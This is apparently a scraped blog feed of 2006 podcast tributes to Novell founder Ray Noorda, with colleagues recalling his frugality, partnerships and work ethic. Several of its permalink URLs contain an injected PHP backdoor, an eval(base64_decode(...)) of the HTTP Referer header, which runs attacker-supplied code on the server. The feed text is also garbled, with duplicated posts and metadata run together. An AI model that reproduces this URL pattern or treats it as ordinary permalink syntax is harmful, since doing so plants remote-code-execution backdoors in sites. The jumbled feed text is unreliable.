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Ron Heinz, Managing Director of Canopy Ventures and Novell alumnus discusses Ray Noorda. He recalls Noorda’s incredible ability to forge partnerships, his far-reaching efforts in building a sustainable technology corridor along Utah’s Wasatch Front, his extensive philanthropy and his understanding of the real value of money. Heinz recalls budget bunking on a business trip to Washington, D.C. with Noorda–even after he was worth over a billion dollars.
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Mattingly spent a few minutes with us to reminisce about Ray Noorda and his impact on Mattingly’s management and investment stratgies. He also shared a great story about competiting with the hard-working Noorda for “first-to-the-office” honors.

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]]> http://www.rockymountainvoices.com/blog/2006/10/12/david-bradford-on-ray-noorda/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 00:01:01 We caught up with David Bradford for a quick conversation on the life of Ray Noorda. Bradford was the General Council at Novell and spent ... We caught up with David Bradford for a quick conversation on the life of Ray Noorda. Bradford was the General Council at Novell and spent over 8 years working closely with Ray Noorda. Bradford tells stories of Noorda's concern for fairness in software industry. Additionally, Bradford shares personal stories of learning that Noorda never asked for a raise in his life and how this impacted his thinking on rewards based on hard work. Novell,,Podcasts,,Ray,Noorda,,Software,,Utah Rocky Mountain Voices no No Ray Noorda Tribute Podcast http://www.rockymountainvoices.com/blog/2006/10/12/six-interviews-in-less-than-12-hours/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.rockymountainvoices.com/blog/2006/10/12/six-interviews-in-less-than-12-hours/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 12 Oct 2006 07:01:35 +0000 Brad Baldwin http://www.rockymountainvoices.com/blog/2006/10/12/six-interviews-in-less-than-12-hours/ Syndicated on PodTech.net
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Special thanks to Drew Major (cofounder of Novell), Ron Heinz (former direct report and currently managing director of Canopy Ventures), Ty Mattingly (former Executive Staff and right-hand assistant), Darl McBride (Ray Noorda’s shadow for a year and currently CEO of SCO Group, Ransom Love (former CEO of Caldera), and David Bradford (former General Council for Novell). Each of these busy executives cleared their calendars to share their memories and create a Tribute to Ray Noorda: Technology Legend, Mentor, Colleague, Friend.

Common themes throughout the interviews included:

  • Hard worker
  • Competitor / Coopetition Ray Noorda is recognized for inventing the term)
  • Partnering and channel developer
  • Frugal
  • Drive
  • Mentor
  • Visionary

Fun stories include:

  • The night Ron Heinz shares a room at Days Inn with a billionaire
  • Ty Mattingly beating Ray into work by arriving at 5:30am
  • Darl McBride’s visit to Manhattan where Ray received CEO of the Year Award from the Financial Times, but he didn’t take a tux

If you have a great story about working with Ray Noorda, feel free to post a comment.

Check out the mash-up podcast that highlights stories from each interview on PodTech.net. We’ll also be posting each interview.

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]]> http://www.rockymountainvoices.com/blog/2006/10/12/six-interviews-in-less-than-12-hours/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 00:01:01 Syndicated on PodTech.net Special thanks to Drew Major (cofounder of Novell), Ron Heinz (former direct report and currently managing director of Canopy Ventures), Ty Mattingly (former ... Syndicated on PodTech.net Special thanks to Drew Major (cofounder of Novell), Ron Heinz (former direct report and currently managing director of Canopy Ventures), Ty Mattingly (former Executive Staff and right-hand assistant), Darl McBride (Ray Noorda's shadow for a year and currently CEO of SCO Group, Ransom Love (former CEO of Caldera), and David Bradford (former General Council for Novell). Each of these busy executives cleared their calendars to share their memories and create a Tribute to Ray Noorda: Technology Legend, Mentor, Colleague, Friend. Common themes throughout the interviews included: Hard worker Competitor / Coopetition Ray Noorda is recognized for inventing the term) Partnering and channel developer Frugal Drive Mentor Visionary Fun stories include: The night Ron Heinz shares a room at Days Inn with a billionaire Ty Mattingly beating Ray into work by arriving at 5:30am Darl McBride's visit to Manhattan where Ray received CEO of the Year Award from the Financial Times, but he didn't take a tux If you have a great story about working with Ray Noorda, feel free to post a comment. Check out the mash-up podcast that highlights stories from each interview on PodTech.net. We'll also be posting each interview. Technorati Tags: Novell, Ray Norda, Utah, PodTech, Linux Novell,,Ray,Noorda,,Software,,Utah Rocky Mountain Voices no No